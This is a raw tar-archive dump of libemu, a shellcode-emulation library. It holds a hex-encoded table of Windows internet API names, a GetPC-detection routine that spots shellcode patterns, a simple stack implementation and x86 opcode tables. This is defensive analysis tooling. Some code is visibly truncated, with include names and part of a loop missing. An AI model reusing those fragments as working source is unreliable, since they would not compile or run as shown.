"\x65\x6D\x54\x69\x6D\x65\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x54" //emTime.InternetT /* 3D933220 */ "\x69\x6D\x65\x46\x72\x6F\x6D\x53\x79\x73\x74\x65\x6D\x54\x69\x6D" //imeFromSystemTim /* 3D933240 */ "\x65\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x54\x69\x6D\x65\x46" //eA.InternetTimeF /* 3D933260 */ "\x72\x6F\x6D\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x57\x00\x49" //romSystemTimeW.I /* 3D933280 */ "\x6E\x74\x65\x72\x6E\x65\x74\x54\x69\x6D\x65\x54\x6F\x53\x79\x73" //nternetTimeToSys /* 3D9332A0 */ "\x74\x65\x6D\x54\x69\x6D\x65\x00\x49\x6E\x74\x65\x72\x6E\x65\x74" //temTime.Internet /* 3D9332C0 */ "\x54\x69\x6D\x65\x54\x6F\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65" //TimeToSystemTime /* 3D9332E0 */ "\x41\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x54\x69\x6D\x65\x54\x6F" //A.InternetTimeTo /* 3D933300 */ "\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x57\x00\x49\x6E\x74\x65" //SystemTimeW.Inte /* 3D933320 */ "\x72\x6E\x65\x74\x55\x6E\x6C\x6F\x63\x6B\x52\x65\x71\x75\x65\x73" //rnetUnlockReques /* 3D933340 */ "\x74\x46\x69\x6C\x65\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x57\x72" //tFile.InternetWr /* 3D933360 */ "\x69\x74\x65\x46\x69\x6C\x65\x00\x49\x6E\x74\x65\x72\x6E\x65\x74" //iteFile.Internet /* 3D933380 */ "\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x45\x78\x41\x00\x49\x6E\x74" //WriteFileExA.Int /* 3D9333A0 */ "\x65\x72\x6E\x65\x74\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x45\x78" //ernetWriteFileEx /* 3D9333C0 */ "\x57\x00\x49\x73\x48\x6F\x73\x74\x49\x6E\x50\x72\x6F\x78\x79\x42" //W.IsHostInProxyB /* 3D9333E0 */ "\x79\x70\x61\x73\x73\x4C\x69\x73\x74\x00\x49\x73\x55\x72\x6C\x43" //ypassList.IsUrlC /* 3D933400 */ "\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x45\x78\x70\x69\x72\x65\x64" //acheEntryExpired /* 3D933420 */ "\x41\x00\x49\x73\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72" //A.IsUrlCacheEntr /* 3D933440 */ "\x79\x45\x78\x70\x69\x72\x65\x64\x57\x00\x4C\x6F\x61\x64\x55\x72" //yExpiredW.LoadUr /* 3D933460 */ "\x6C\x43\x61\x63\x68\x65\x43\x6F\x6E\x74\x65\x6E\x74\x00\x50\x61" //lCacheContent.Pa /* 3D933480 */ "\x72\x73\x65\x58\x35\x30\x39\x45\x6E\x63\x6F\x64\x65\x64\x43\x65" //rseX509EncodedCe /* 3D9334A0 */ "\x72\x74\x69\x66\x69\x63\x61\x74\x65\x46\x6F\x72\x4C\x69\x73\x74" //rtificateForList /* 3D9334C0 */ "\x42\x6F\x78\x45\x6E\x74\x72\x79\x00\x50\x72\x69\x76\x61\x63\x79" //BoxEntry.Privacy /* 3D9334E0 */ "\x47\x65\x74\x5A\x6F\x6E\x65\x50\x72\x65\x66\x65\x72\x65\x6E\x63" //GetZonePreferenc /* 3D933500 */ "\x65\x57\x00\x50\x72\x69\x76\x61\x63\x79\x53\x65\x74\x5A\x6F\x6E" //eW.PrivacySetZon /* 3D933520 */ "\x65\x50\x72\x65\x66\x65\x72\x65\x6E\x63\x65\x57\x00\x52\x65\x61" //ePreferenceW.Rea /* 3D933540 */ "\x64\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x53\x74" //dUrlCacheEntrySt /* 3D933560 */ "\x72\x65\x61\x6D\x00\x52\x65\x67\x69\x73\x74\x65\x72\x55\x72\x6C" //ream.RegisterUrl /* 3D933580 */ "\x43\x61\x63\x68\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F" //CacheNotificatio /* 3D9335A0 */ "\x6E\x00\x52\x65\x73\x75\x6D\x65\x53\x75\x73\x70\x65\x6E\x64\x65" //n.ResumeSuspende /* 3D9335C0 */ "\x64\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x00\x52\x65\x74\x72\x69\x65" //dDownload.Retrie /* 3D9335E0 */ "\x76\x65\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x46" //veUrlCacheEntryF /* 3D933600 */ "\x69\x6C\x65\x41\x00\x52\x65\x74\x72\x69\x65\x76\x65\x55\x72\x6C" //ileA.RetrieveUrl /* 3D933620 */ "\x43\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x46\x69\x6C\x65\x57\x00" //CacheEntryFileW. /* 3D933640 */ "\x52\x65\x74\x72\x69\x65\x76\x65\x55\x72\x6C\x43\x61\x63\x68\x65" //RetrieveUrlCache /* 3D933660 */ "\x45\x6E\x74\x72\x79\x53\x74\x72\x65\x61\x6D\x41\x00\x52\x65\x74" //EntryStreamA.Ret /* 3D933680 */ "\x72\x69\x65\x76\x65\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74" //rieveUrlCacheEnt /* 3D9336A0 */ "\x72\x79\x53\x74\x72\x65\x61\x6D\x57\x00\x52\x75\x6E\x4F\x6E\x63" //ryStreamW.RunOnc /* 3D9336C0 */ "\x65\x55\x72\x6C\x43\x61\x63\x68\x65\x00\x53\x65\x74\x55\x72\x6C" //eUrlCache.SetUrl /* 3D9336E0 */ "\x43\x61\x63\x68\x65\x43\x6F\x6E\x66\x69\x67\x49\x6E\x66\x6F\x41" //CacheConfigInfoA /* 3D933700 */ "\x00\x53\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x43\x6F\x6E\x66" //.SetUrlCacheConf /* 3D933720 */ "\x69\x67\x49\x6E\x66\x6F\x57\x00\x53\x65\x74\x55\x72\x6C\x43\x61" //igInfoW.SetUrlCa /* 3D933740 */ "\x63\x68\x65\x45\x6E\x74\x72\x79\x47\x72\x6F\x75\x70\x00\x53\x65" //cheEntryGroup.Se /* 3D933760 */ "\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x47\x72" //tUrlCacheEntryGr /* 3D933780 */ "\x6F\x75\x70\x41\x00\x53\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65" //oupA.SetUrlCache /* 3D9337A0 */ "\x45\x6E\x74\x72\x79\x47\x72\x6F\x75\x70\x57\x00\x53\x65\x74\x55" //EntryGroupW.SetU /* 3D9337C0 */ "\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x49\x6E\x66\x6F" //rlCacheEntryInfo /* 3D9337E0 */ "\x41\x00\x53\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74" //A.SetUrlCacheEnt /* 3D933800 */ "\x72\x79\x49\x6E\x66\x6F\x57\x00\x53\x65\x74\x55\x72\x6C\x43\x61" //ryInfoW.SetUrlCa /* 3D933820 */ "\x63\x68\x65\x47\x72\x6F\x75\x70\x41\x74\x74\x72\x69\x62\x75\x74" //cheGroupAttribut /* 3D933840 */ "\x65\x41\x00\x53\x65\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x47\x72" //eA.SetUrlCacheGr /* 3D933860 */ "\x6F\x75\x70\x41\x74\x74\x72\x69\x62\x75\x74\x65\x57\x00\x53\x65" //oupAttributeW.Se /* 3D933880 */ "\x74\x55\x72\x6C\x43\x61\x63\x68\x65\x48\x65\x61\x64\x65\x72\x44" //tUrlCacheHeaderD /* 3D9338A0 */ "\x61\x74\x61\x00\x53\x68\x6F\x77\x43\x65\x72\x74\x69\x66\x69\x63" //ata.ShowCertific /* 3D9338C0 */ "\x61\x74\x65\x00\x53\x68\x6F\x77\x43\x6C\x69\x65\x6E\x74\x41\x75" //ate.ShowClientAu /* 3D9338E0 */ "\x74\x68\x43\x65\x72\x74\x73\x00\x53\x68\x6F\x77\x53\x65\x63\x75" //thCerts.ShowSecu /* 3D933900 */ "\x72\x69\x74\x79\x49\x6E\x66\x6F\x00\x53\x68\x6F\x77\x58\x35\x30" //rityInfo.ShowX50 /* 3D933920 */ "\x39\x45\x6E\x63\x6F\x64\x65\x64\x43\x65\x72\x74\x69\x66\x69\x63" //9EncodedCertific /* 3D933940 */ "\x61\x74\x65\x00\x55\x6E\x6C\x6F\x63\x6B\x55\x72\x6C\x43\x61\x63" //ate.UnlockUrlCac /* 3D933960 */ "\x68\x65\x45\x6E\x74\x72\x79\x46\x69\x6C\x65\x00\x55\x6E\x6C\x6F" //heEntryFile.Unlo /* 3D933980 */ "\x63\x6B\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72\x79\x46" //ckUrlCacheEntryF /* 3D9339A0 */ "\x69\x6C\x65\x41\x00\x55\x6E\x6C\x6F\x63\x6B\x55\x72\x6C\x43\x61" //ileA.UnlockUrlCa /* 3D9339C0 */ "\x63\x68\x65\x45\x6E\x74\x72\x79\x46\x69\x6C\x65\x57\x00\x55\x6E" //cheEntryFileW.Un /* 3D9339E0 */ "\x6C\x6F\x63\x6B\x55\x72\x6C\x43\x61\x63\x68\x65\x45\x6E\x74\x72" //lockUrlCacheEntr /* 3D933A00 */ "\x79\x53\x74\x72\x65\x61\x6D\x00\x55\x70\x64\x61\x74\x65\x55\x72" //yStream.UpdateUr /* 3D933A20 */ "\x6C\x43\x61\x63\x68\x65\x43\x6F\x6E\x74\x65\x6E\x74\x50\x61\x74" //lCacheContentPat /* 3D933A40 */ "\x68\x00\x55\x72\x6C\x5A\x6F\x6E\x65\x73\x44\x65\x74\x61\x63\x68" //h.UrlZonesDetach /* 3D933A60 */ "\x00\x5F\x47\x65\x74\x46\x69\x6C\x65\x45\x78\x74\x65\x6E\x73\x69" //._GetFileExtensi /* 3D933A80 */ "\x6F\x6E\x46\x72\x6F\x6D\x55\x72\x6C\x00\x90\x90\x00\x00\x00\x00" //onFromUrl....... /* 3D933AA0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; libemu-0.2.0+git20120122+564/src/emu_getpc.c0000644000175300017530000000741611706767213016756 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_getpc.h" #include "emu/emu_cpu_instruction.h" #define MIN(a,b) (((a)<(b))?(a):(b)) #define MAX(a,b) (((a)>(b))?(a):(b)) uint8_t emu_getpc_check(struct emu *e, uint8_t *data, uint32_t size, uint32_t offset) { struct emu_cpu *c = emu_cpu_get(e); struct emu_memory *m = emu_memory_get(e); // uint32_t offset; // for (offset=0; offsetinstr.cpu.disp); printf("data + offset + disp %p <-> %p data + size\n", (data + offset + c->instr.cpu.disp), data+size); printf("data + offset + disp %p <-> %p data \n", (data + offset + c->instr.cpu.disp), data); */ if (abs(c->instr.cpu.disp) > 512) { break; } uint32_t espcopy = emu_cpu_reg32_get(c, esp); int j; for (j=0;j<64;j++) { int ret = emu_cpu_parse(emu_cpu_get(e)); if (ret != -1) { ret = emu_cpu_step(emu_cpu_get(e)); } if ( ret == -1 ) { // printf("cpu error %s\n", emu_strerror(e)); break; } if (emu_cpu_reg32_get(c, esp) == espcopy) // eip pushed by call is popped return 1; } return 1; break; /* fnstenv */ case 0xd9: emu_memory_write_block(m, 0x1000, data+offset, MIN(size-offset, 64)); emu_cpu_eip_set(c, 0x1000); if ( emu_cpu_parse(c) != 0 ) break; if ( (c->instr.fpu.fpu_data[1] & 0x38) != 0x30 ) break; if ( c->instr.fpu.ea == emu_cpu_reg32_get(c, esp) - 0xc ) { // printf("found fnstenv with ea = esp - 0xc\n"); return 1; } /* FIXME THE CODE HERE IS CRAP */ /* espcopy = emu_cpu_reg32_get(c, esp); for (j=0;j<64;j++) { int ret = emu_cpu_parse(emu_cpu_get(e)); if (ret != -1) { ret = emu_cpu_step(emu_cpu_get(e)); } if ( ret == -1 ) { printf("cpu error %s\n", emu_strerror(e)); break; } for (reg=0; reg<8; reg++) { if (reg != 4 && emu_cpu_reg32_get(c, reg) == espcopy + 4) // eip written by fnstenv return 1; } } */ break; /* case 0x64: // fs: prefix if ( data[offset+1] == 0x8b ) { emu_memory_write_block(m, 0x1000, data+offset, MIN(size-offset, 64)); emu_cpu_eip_set(c, 0x1000); if ( emu_cpu_parse(c) != 0 ) break; return 2; } break; */ } return 0; } libemu-0.2.0+git20120122+564/src/emu_stack.c0000644000175300017530000000402011706767213016745 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2008 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include "emu/emu_stack.h" struct emu_stack *emu_stack_new(void) { struct emu_stack *es = malloc(sizeof(struct emu_stack)); memset(es, 0, sizeof(struct emu_stack)); return es; } void emu_stack_free(struct emu_stack *es) { free(es); } void *emu_stack_front(struct emu_stack *es) { return es->front->data; } void emu_stack_push(struct emu_stack *es, void *data) { struct emu_stack_item *item = malloc(sizeof(struct emu_stack_item)); memset(item, 0, sizeof(struct emu_stack_item)); item->data = data; item->next = es->front; es->front = item; } void *emu_stack_pop(struct emu_stack *es) { if (emu_stack_empty(es) == true) return NULL; struct emu_stack_item *item = es->front; void *data = es->front->data; es->front = es->front->next; free(item); return data; } bool emu_stack_empty(struct emu_stack *es) { if (es->front == NULL) return true; return false; } libemu-0.2.0+git20120122+564/src/opcode_tables.h0000644000175300017530000075646511706767213017635 0ustar dt-npbdt-npb/* * libdasm -- simple x86 disassembly library * (c) 2004 - 2006 jt / nologin.org * * opcode_tables.h: * Opcode tables for FPU, 1, 2 and 3-byte opcodes and * extensions. * */ #include "libdasm.h" // lock/rep prefix name table const char *rep_table[] = { "lock ", "repne ", "rep " }; // Register name table (also includes Jcc branch hint prefixes) const char *reg_table[11][8] = { { "eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" }, { "ax", "cx", "dx", "bx", "sp", "bp", "si", "di" }, { "al", "cl", "dl", "bl", "ah", "ch", "dh", "bh" }, { "es", "cs", "ss", "ds", "fs", "gs", "??", "??" }, { "dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7" }, { "cr0", "cr1", "cr2", "cr3", "cr4", "cr5", "cr6", "cr7" }, { "tr0", "tr1", "tr2", "tr3", "tr4", "tr5", "tr6", "tr7" }, { "xmm0", "xmm1", "xmm2", "xmm3", "xmm4", "xmm5", "xmm6", "xmm7" }, { "mm0", "mm1", "mm2", "mm3", "mm4", "mm5", "mm6", "mm7" }, { "st(0)","st(1)","st(2)","st(3)","st(4)","st(5)","st(6)","st(7)"}, { "??", "(bnt)","??", "(bt)", "??", "??", "??", "??" }, }; // Name table index #define REG_GEN_DWORD 0 #define REG_GEN_WORD 1 #define REG_GEN_BYTE 2 #define REG_SEGMENT 3 #define REG_DEBUG 4 #define REG_CONTROL 5 #define REG_TEST 6 #define REG_XMM 7 #define REG_MMX 8 #define REG_FPU 9 #define REG_BRANCH 10 // Not registers strictly speaking.. // 1-byte opcodes INST inst_table1[256] = { { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_b|P_w, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_v|P_w, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADD, "add", AM_G|OT_b|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADD, "add", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADD, "add", AM_REG|REG_EAX|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_ADD, "add", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ES|F_r|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ES|F_r|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OR, "or", AM_E|OT_b|P_w, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OR, "or", AM_E|OT_v|P_w, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OR, "or", AM_G|OT_b|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OR, "or", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OR, "or", AM_REG|REG_EAX|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OR, "or", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_CS|F_r|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, // Escape to 2-byte opcode table { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_b|P_w, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_v|P_w, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADC, "adc", AM_G|OT_b|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADC, "adc", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADC, "adc", AM_REG|REG_EAX|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_ADC, "adc", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_SS|F_r|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_SS|F_r|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_b|P_w, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_v|P_w, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_G|OT_b|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_REG|REG_EAX|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_DS|F_r|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_DS|F_r|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_AND, "and", AM_E|OT_b|P_w, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_AND, "and", AM_E|OT_v|P_w, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_AND, "and", AM_G|OT_b|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_AND, "and", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_AND, "and", AM_REG|REG_EAX|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_AND, "and", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, // seg ES override { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DCL, "daa", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_b|P_w, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_v|P_w, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SUB, "sub", AM_G|OT_b|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SUB, "sub", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SUB, "sub", AM_REG|REG_EAX|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SUB, "sub", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, // seg CS override { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DCL, "das", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_b|P_w, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_v|P_w, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XOR, "xor", AM_G|OT_b|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XOR, "xor", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XOR, "xor", AM_REG|REG_EAX|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XOR, "xor", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, // seg SS override { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_ASC, "aaa", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_b|P_r, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_v|P_r, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_G|OT_b|P_r, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_G|OT_v|P_r, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_REG|REG_EAX|OT_b|P_r, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_REG|REG_EAX|OT_v|P_r, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, // seg DS override { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_ASC, "aas", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EAX|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ECX|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EDX|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EBX|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ESP|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EBP|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ESI|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EDI|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_DEC, "dec", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EAX|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ECX|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EDX|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EBX|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ESP|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EBP|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ESI|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_EDI|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EAX|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ECX|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EDX|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EBX|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ESP|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EBP|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ESI|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_EDI|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH , "pusha", FLAGS_NONE|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "popa", FLAGS_NONE|P_w, FLAGS_NONE, FLAGS_NONE, 0 